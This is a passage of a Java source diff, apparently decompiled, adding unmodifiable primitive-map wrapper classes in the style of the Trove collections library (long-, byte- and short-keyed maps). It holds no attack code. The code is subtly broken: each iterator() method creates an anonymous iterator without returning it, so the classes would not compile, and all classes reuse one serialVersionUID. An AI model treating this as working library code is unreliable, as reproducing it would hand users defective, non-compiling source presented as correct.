+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongByteIterator iterator() {
+      new gnu.trove.iterator.TLongByteIterator() {
+        gnu.trove.iterator.TLongByteIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(long key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(long key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongShortMap
+    implements TLongShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TLongShortMap m;
+    
+    public TUnmodifiableLongShortMap(TLongShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(long key) { return m.get(key); }
+    
+    public short put(long key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(TLongShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongShortIterator iterator() {
+      new gnu.trove.iterator.TLongShortIterator() {
+        gnu.trove.iterator.TLongShortIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(long key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(long key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongCharMap
+    implements TLongCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TLongCharMap m;
+    
+    public TUnmodifiableLongCharMap(TLongCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(long key) { return m.get(key); }
+    
+    public char put(long key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(TLongCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongCharIterator iterator() {
+      new gnu.trove.iterator.TLongCharIterator() {
+        gnu.trove.iterator.TLongCharIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(long key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(long key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteDoubleMap
+    implements TByteDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TByteDoubleMap m;
+    
+    public TUnmodifiableByteDoubleMap(TByteDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(byte key) { return m.get(key); }
+    
+    public double put(byte key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(TByteDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteDoubleIterator iterator() {
+      new gnu.trove.iterator.TByteDoubleIterator() {
+        gnu.trove.iterator.TByteDoubleIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(byte key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(byte key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteFloatMap
+    implements gnu.trove.map.TByteFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TByteFloatMap m;
+    
+    public TUnmodifiableByteFloatMap(gnu.trove.map.TByteFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(byte key) { return m.get(key); }
+    
+    public float put(byte key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TByteFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteFloatIterator iterator() {
+      new gnu.trove.iterator.TByteFloatIterator() {
+        gnu.trove.iterator.TByteFloatIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(byte key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(byte key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteIntMap
+    implements gnu.trove.map.TByteIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TByteIntMap m;
+    
+    public TUnmodifiableByteIntMap(gnu.trove.map.TByteIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(byte key) { return m.get(key); }
+    
+    public int put(byte key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TByteIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteIntIterator iterator() {
+      new gnu.trove.iterator.TByteIntIterator() {
+        gnu.trove.iterator.TByteIntIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(byte key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(byte key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteLongMap
+    implements TByteLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TByteLongMap m;
+    
+    public TUnmodifiableByteLongMap(TByteLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(byte key) { return m.get(key); }
+    
+    public long put(byte key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(TByteLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteLongIterator iterator() {
+      new gnu.trove.iterator.TByteLongIterator() {
+        gnu.trove.iterator.TByteLongIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(byte key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(byte key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteByteMap
+    implements gnu.trove.map.TByteByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TByteByteMap m;
+    
+    public TUnmodifiableByteByteMap(gnu.trove.map.TByteByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(byte key) { return m.get(key); }
+    
+    public byte put(byte key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TByteByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteByteIterator iterator() {
+      new gnu.trove.iterator.TByteByteIterator() {
+        gnu.trove.iterator.TByteByteIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(byte key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(byte key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteShortMap
+    implements TByteShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TByteShortMap m;
+    
+    public TUnmodifiableByteShortMap(TByteShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(byte key) { return m.get(key); }
+    
+    public short put(byte key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(TByteShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteShortIterator iterator() {
+      new gnu.trove.iterator.TByteShortIterator() {
+        gnu.trove.iterator.TByteShortIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(byte key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(byte key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteCharMap
+    implements TByteCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TByteCharMap m;
+    
+    public TUnmodifiableByteCharMap(TByteCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(byte key) { return m.get(key); }
+    
+    public char put(byte key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(TByteCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteCharIterator iterator() {
+      new gnu.trove.iterator.TByteCharIterator() {
+        gnu.trove.iterator.TByteCharIterator iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(byte key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(byte key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(byte key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(byte key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortDoubleMap
+    implements TShortDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TShortDoubleMap m;
+    
+    public TUnmodifiableShortDoubleMap(TShortDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(short key) { return m.get(key); }
+    
+    public double put(short key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(TShortDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
